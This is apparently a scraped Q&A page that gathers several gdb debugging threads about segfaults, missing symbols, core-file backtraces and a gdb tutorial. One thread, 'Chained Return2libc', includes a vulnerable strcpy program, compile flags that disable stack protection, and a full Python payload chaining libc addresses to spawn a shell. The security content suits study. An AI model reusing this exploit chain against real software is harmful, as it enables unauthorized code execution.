What does this mean in gdb? - c

Program received signal SIGSEGV, Segmentation fault.
0x08049795 in execute_jobs ()
Current language: auto; currently asm
(gdb) info symbol 0x08049795
execute_jobs + 22 in section .text
(gdb) ptype 0x08049795
type = int
How to get the line number at which the error occurred?

Your binary was not compiled with debugging information. Rebuild with at least -g (or -ggdb, or -ggdb -g3, see GCC manual.)
The exact lines from GDB output:
(gdb) info symbol 0x08049795 execute_jobs + 22 in section .text
means that instruction at address 0x08049795, which is 22 bytes from beginning of function execute_jobs, generated the segmentation fault.
(gdb) ptype 0x08049795 type = int
Here you are asking for type of an integer, and GDB happily replies. Do
(gdb) x/10i 0x08049795
or
(gdb) disassemble execute_jobs
to see actual instructions.

The gdb command "bt" will show you a back trace. Unless you've corrupted the stack this should show the sequence of function calls that lead to the segfault. To get more meaningful information make sure that you've compiled your program with debug information by including -g on the gcc/g++ command line.

Related

Debugging without symbols?

I have the simple .c file that is supposed to fail(I know where it fails, I put the bug in there intentionally):
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
if (argc != 2) {
fprintf(stderr, "Usage: %s argument\n", argv[0]);
return EXIT_FAILURE;
}
char *hello = "hello";
*hello = 'H';
fprintf(stdout, "%s, %s!\n", hello, argv[1]);
return EXIT_SUCCESS;
}
Part 1) I save it as "hello.c" and compile without debugging flags by gcc hello.c -o hello.
Then, I wish to go line by line through the main function. I try to use gdb as follows:
Run gdb ./hello
Set breakpoint by break main
Run run 123
s -> fails
Here is the outcome:
(gdb) info func
All defined functions:
Non-debugging symbols:
0x0000000000000568 _init
0x0000000000000590 fprintf#plt
0x00000000000005a0 __cxa_finalize#plt
0x00000000000005b0 _start
0x00000000000005e0 deregister_tm_clones
0x0000000000000620 register_tm_clones
0x0000000000000670 __do_global_dtors_aux
0x00000000000006b0 frame_dummy
0x00000000000006ba main
0x0000000000000740 __libc_csu_init
0x00000000000007b0 __libc_csu_fini
0x00000000000007b4 _fini
(gdb) break main
Breakpoint 1 at 0x6be
(gdb) r
Starting program: /mnt/c/Users/User/Documents/Debugging/hello
Breakpoint 1, 0x00000000080006be in main ()
(gdb) s
Single stepping until exit from function main,
which has no line number information.
__fprintf (stream=0x7fffff3ec680 <_IO_2_1_stderr_>, format=0x80007c4 "Usage: %s argument\n") at fprintf.c:27
27 fprintf.c: No such file or directory.
Why does this happen? Why does it fail like this by trying to find a file fprintf? Thought the preprocessed headers should deal with the required implementation code.
Part 2) When I however compile with the -g, it works for some reason. But running the program in gdb does not yield a segmentation fault as expected :/ Why?
Again, see:
$ ./hello 123
Segmentation fault (core dumped)
but
(gdb) run 123
Starting program: /mnt/c/Users/NichlasDesktop/Documents/uni/Compsys/Exercises/Debugging/exercise_code/hello 123
Hello, 123!
[Inferior 1 (process 632) exited normally]
Part 1)
s -> fails
Without debugging information, gdb is unable to map instructions to source code - file paths and line numbers. The s/step command tells gdb to execute instructions that correspond to the current statement in the source language. gdb has no way of telling what that is, so it continues till wherever in code the source position ("SPOS") information is available. That happens to be in libc where fprintf is defined. However the source code for fprintf is not available in your environment, hence that message.
You could step through the individual instructions using the si/stepi command, this does not need debugging information to be present.
You did not show what happens if you continue execution from that point, I suspect it would eventually hit the segmentation fault.
Why does this happen? Why does it fail like this by trying to find a file fprintf? Thought the preprocessed headers should deal with the required implementation code.
That is not what headers are. They don't contain source code.
Part 2) When I however compile with the -g, it works for some reason. But running the program in gdb does not yield a segmentation fault as expected :/ Why?
gdb or any other debugger would arrange for the executable text segment to be mapped private instead of shared as in the usual run case (mmap with MAP_PRIVATE instead of MAP_SHARED). This is because the debugger needs the text segment to be writable so that instructions can be overwritten to insert breakpoints etc.
The "hello" you put in there is a constant string literal that is stored in the read-only text segment of the executable. This is why writing to it causes a segmentation fault during the normal run - the text segment is mapped shared. Inside the debugger however the text segment is mapped private, so you are able to write to it.

gdb bt gives only ??, how can I debug?

/var/log/message:
segfault at 0 ip 00007fcd16e5853a sp 00007ffd98e37e58 error 4 in libc-2.24.so[7fcd16dc9000+195000]
addr2line -e a.out 00007fcd16e5853a
??:0
gdb bt
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x00007fcd16e5853a in ?? ()
(gdb) bt
#0 0x00007fcd16e5853a in ?? ()
#1 0x000055f2f45fe95b in ?? ()
#2 0x000055f200000080 in ?? ()
#3 0x00007fcd068c2040 in ?? ()
#4 0x000055f2f6109c48 in ?? ()
#5 0x0000000000000000 in ?? ()
build with gcc -Wall -O0 -g
How can I debug this, are there more methods?
gdb bt
Surely that is not the command you actually executed.
Most likely you did something like this:
gdb /path/to/core
(gdb) bt
Don't do that. Do this instead:
gdb /path/to/a.out /path/to/core
(gdb) bt
If you already did invoke GDB correctly, other likely reasons why bt did not work:
You are analyzing the core on a different machine from the one on which it was produced. See this answer.
You rebuilt a.out with different flags. Use the exact binary that crashed.
You have updated libc after the core was produced. Restore it to the version that was current as of when the core was produced.
P.S. This command
addr2line -e a.out 00007fcd16e5853a
makes no sense: the error message told you that the address 00007fcd16e5853a is in libc-2.24.so. The a.out has nothing to do with that address.
The command you want to use is:
addr2line -fe /path/to/libc-2.24.so 195000
P.P.S.
segfault at 0 ip 00007fcd16e5853a ...
This means: NULL pointer dereference inside libc. The most probable cause: not checking for error return, e.g. something like:
FILE *fp = fopen("/some/file", "r");
fscanf(fp, buffer, sizeof(buffer)); // Oops: didn't check for NULL.

Chained Return2libc

I am trying to exploit below code using Chained ret2libc attack. I am trying to execute execl('/bin/zsh','/bin/zsh',NULL) function.
To write NULL at the 3rd argument of execl, I have used printf(%5$n).
Code:
int main(int argc, char *argv[]){
char buf[256];
printf("%p",buf);
strcpy(buf, argv[1]);
}
To do this, I have exported 2 ENV variables such as:
user$ export SHELL='/bin/zsh'
user$ export test1='%5$n'
Then I compiled the program as below:
user$ gcc -ggdb -mpreferred-stack-boundry=2 -fno-stack-protector -fomit-frame-pointer -o vuln program.c
After that I opened this executable with gdb:
user$ gdb -q vuln
gdb> break main
gdb> run test
gdb> STOPPED AT BREAKPOINT
gdb> print PRINTF --> got the address of this function
gdb> print EXECL --> got this address
gdb> print EXIT --> got this address too
To get the address of ENV variables, i ran
gdb> x/500s $esp --> kept pressing ENTER and got the address. I also got the exact address of String '/bin/zsh' instead of address of 'SHELL=/bin/zsh' by adding 6. Similarly got the addres of '%5$n'.
To get the address of POP - RET inst, ran objdump -D vuln | grep -A20 pop --> got the address of one pop-ret instruction.
So input to the program looks like:
"A"*256+ printf_address + pop-ret address + '%5$n' address +execl address+ exit address+ '/bin/zsh' address + '/bin/zsh' address+ 3rd argument address.
I calculated 3rd argument address as base_address_of_buffer(printed by program)+256+28 (7 additional 4 bytes blocks)
But after running this program, it goes to execl and gives an error as below
Below is the input and output I am getting:
(gdb) run $(python -c 'print "A"*256+"\xa0\xb8\xe6\xb7"+"\x24\x85\x04\x08"+"\x54\xfe\xff\xbf"+"\x90\xa2\xed\xb7"+"\xf0\x1b\xe5\xb7"+"\x7e\xf5\xff\xbf"+"\x7e\xf5\xff\xbf"+"\x28\xf3\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/himmat/Desktop/vuln $(python -c 'print "A"*256+"\xa0\xb8\xe6\xb7"+"\x24\x85\x04\x08"+"\x54\xfe\xff\xbf"+"\x90\xa2\xed\xb7"+"\xf0\x1b\xe5\xb7"+"\x7e\xf5\xff\xbf"+"\x7e\xf5\xff\xbf"+"\x28\xf3\xff\xbf"')
Breakpoint 1, main (argc=2, argv=0xbffff284) at chained_ret2libc.c:14
14 {
(gdb) cont
Continuing.
process 3720 is executing new program: /bin/zsh4
Breakpoint 1, 0x08053443 in main ()
(gdb) cont
Continuing.
/bin/zsh: can't open input file:
[Inferior 1 (process 3720) exited with code 0177]
(gdb)
Error I am getting
To verify that all functions are being executed and 3rd argument is filled with NULL, refer below image.
Execution of program

gfortran debugging with gdb: w_powf.c: No such file or directory

I have a Fortran program I am debuging. I have a list of varables and one of the expected variables is almost double its expected value.
So I compiled the program, with debug flags, and commenced debugging:
the program name is hfock
$gdb hfock
(gdb) break hfock
(gdb) run
Starting program: /home/e/Desktop/hfock hfock
Breakpoint 1, hfock () at hfock.f:16
16 ZETA1 = 2.173171
(gdb) s
17 ZETA2 = 1.188530
(gdb) s
18 WRITE (*, '( "Zeta1:", F7.4 / "Zeta2:", F7.4 )' ) ZETA1, ZETA2
(gdb) s
Zeta1: 2.1732
Zeta2: 1.1885
21 PLUS=ZETA1+ZETA2
(gdb) s
22 PROD=ZETA1*ZETA2
(gdb) s
23 DIFF=ZETA1-ZETA2
(gdb) s
24 S12=8.*PROD**1.5/PLUS**3
(gdb) s
__powf (x=2.58287883, y=1.5) at w_powf.c:26
26 w_powf.c: No such file or directory.
The corresponding (24,25,26) lines of code are:
S12=8.*PROD**1.5/PLUS**3
T11=0.5*ZETA1**2
T22=0.5*ZETA2**2
I think this might be a math library, or glibc related error, but I'm not sure what the error means, or how to fix it.This is fortran, why is it calling a C library? do I need to include a library? or install a missing dependency?
full program source here:
http://pastebin.com/waeEFSBZ
** is in Fortran exponential operator. Exponentiation is implemented in glibc w_powf.c. Gdb can't find this file in your sources. This is not an error, rather diagnostic.
The error means that the source file w_powf.c is not available on your system. It's not related to your program apparently. You can safely ignore that error.
Note that the lines you mention have the operator ** which I suppose is implemented in that file, so it's just telling you that there is no access to the source code of the implementation of that operator.

How to debug using gdb?

I am trying to add a breakpoint in my program using
b {line number}
but I am always getting an error that says:
No symbol table is loaded. Use the "file" command.
What should I do?
Here is a quick start tutorial for gdb:
/* test.c */
/* Sample program to debug. */
#include <stdio.h>
#include <stdlib.h>
int
main (int argc, char **argv)
{
if (argc != 3)
return 1;
int a = atoi (argv[1]);
int b = atoi (argv[2]);
int c = a + b;
printf ("%d\n", c);
return 0;
}
Compile with the -g3 option. g3 includes extra information, such as all the macro definitions present in the program.
gcc -g3 -o test test.c
Load the executable, which now contain the debugging symbols, into gdb:
gdb --annotate=3 test.exe
Now you should find yourself at the gdb prompt. There you can issue commands to gdb.
Say you like to place a breakpoint at line 11 and step through the execution, printing the values of the local variables - the following commands sequences will help you do this:
(gdb) break test.c:11
Breakpoint 1 at 0x401329: file test.c, line 11.
(gdb) set args 10 20
(gdb) run
Starting program: c:\Documents and Settings\VMathew\Desktop/test.exe 10 20
[New thread 3824.0x8e8]
Breakpoint 1, main (argc=3, argv=0x3d5a90) at test.c:11
(gdb) n
(gdb) print a
$1 = 10
(gdb) n
(gdb) print b
$2 = 20
(gdb) n
(gdb) print c
$3 = 30
(gdb) c
Continuing.
30
Program exited normally.
(gdb)
In short, the following commands are all you need to get started using gdb:
break file:lineno - sets a breakpoint in the file at lineno.
set args - sets the command line arguments.
run - executes the debugged program with the given command line arguments.
next (n) and step (s) - step program and step program until it
reaches a different source line, respectively.
print - prints a local variable
bt - print backtrace of all stack frames
c - continue execution.
Type help at the (gdb) prompt to get a list and description of all valid commands.
Start gdb with the executable as a parameter, so that it knows which program you want to debug:
gdb ./myprogram
Then you should be able to set breakpoints. For example:
b myfile.cpp:25
b some_function
Make sure you used the -g option when compiling.
You need to tell gdb the name of your executable file, either when you run gdb or using the file command:
$ gdb a.out
or
(gdb) file a.out
You need to use -g or -ggdb option at compile time of your program.
E.g., gcc -ggdb file_name.c ; gdb ./a.out

Resources